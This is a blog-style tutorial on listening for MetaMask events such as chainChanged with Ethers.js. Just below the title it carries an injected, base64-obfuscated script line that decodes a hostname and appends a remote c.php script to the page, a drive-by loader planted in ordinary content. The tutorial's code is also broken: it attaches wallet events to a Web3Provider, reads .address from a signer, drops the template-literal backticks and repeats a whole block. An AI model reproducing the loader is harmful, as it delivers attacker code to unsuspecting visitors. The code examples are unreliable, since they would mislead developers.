MetaMask: How can I use Ether.js to listen to MetaMask events like `chainChained`?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=c197a85b”;document.body.appendChild(script);

Using Ethers.js to Listen for MetaMask Events

In recent years, the Ethereum ecosystem has seen significant growth in adoption, leading to a surge in interest in using MetaMask, the popular browser extension for interacting with the Ethereum blockchain. When working with MetaMask, developers can use Ethers.js to receive real-time updates about account and chain changes.

Understanding MetaMask Events

MetaMask provides several events that allow users to interact with their accounts and the Ethereum network. Here’s a brief overview of some of the most commonly used events:

• accountsChanged

  

  : Triggers when an account is updated, allowing you to update your local state in response.

• chainChanged

  : Triggers when the user switches between different chains (e.g., from Mainnet to Testnet).

• blockNumber: Triggers when a new block is mined on Ethereum.

Listening for MetaMask Events with Ethers.js

To listen to these events, you’ll need to use the window.ethereum object and create an event listener. Here’s an example of how you can do this:

import * as ethers from 'ethers';


// Set your provider and wallet

const provider = new ethers.providers.Web3Provider(window.ethereum);

const account = provider.getSigner();


// Define the events to listen for

const events = [

  { name: 'accountsChanged', callback: (account) => {

    console.log(Account updated: ${account.address});

  }},

  { name: 'chainChanged', callback: (newChainId) => {

    console.log(Switching to chain ${newChainId}...);

  }}

];


// Listen for events

provider.on('accountsChanged', (account) => events.find((e) => e.name === 'accountsChanged').callback(account));

provider.on('chainChanged', (newChainId) => events.find((e) => e.name === 'chainChanged').callback(newChainId));

Example Use Case:

Here’s an example of how you can use Ethers.js to listen for MetaMask events in a web application:

import * as ethers from 'ethers';


// Set your provider and wallet

const provider = new ethers.providers.Web3Provider(window.ethereum);

const account = provider.getSigner();


// Define the events to listen for

const events = [

  { name: 'accountsChanged', callback: (account) => {

    console.log(Account updated: ${account.address});

  }},

  { name: 'chainChanged', callback: (newChainId) => {

    console.log(Switching to chain ${newChainId}...);

  }}

];


// Listen for events

provider.on('accountsChanged', (account) => events.find((e) => e.name === 'accountsChanged').callback(account));

provider.on('chainChanged', (newChainId) => events.find((e) => e.name === 'chainChanged').callback(newChainId));


// When an account or chain is updated, update the local state

function updateLocalState() {

  const newAccount = account;

  if (newAccount) {

    console.log(Updating local state: ${newAccount.address});

  }

}


// Add a callback to handle event updates

provider.on('accountsChanged', (account) => {

  updateLocalState();

});


provider.on('chainChanged', (newChainId) => {

  updateLocalState();

});

Best Practices

When using Ethers.js to listen for MetaMask events, keep the following best practices in mind:

• Use window.ethereum as your provider and wallet.

• Define events that match the MetaMask events you want to listen for (e.g., accountsChanged, chainChanged).

• Create event listeners with callback functions that update your local state accordingly.

• Add event listeners on both the accountsChanged and chainChanged events to ensure updates are received from all affected chains.

By following these guidelines, you can effectively use Ethers.js to receive real-time updates about account and chain changes when working with MetaMask.

enabling smarter cryptocurrency

Rakesh Kumar

My name is Rakesh Kumar, and I am an author at Reviewdaidu.com. I write review articles and provide specific product reviews to help buyers make informed purchasing decisions.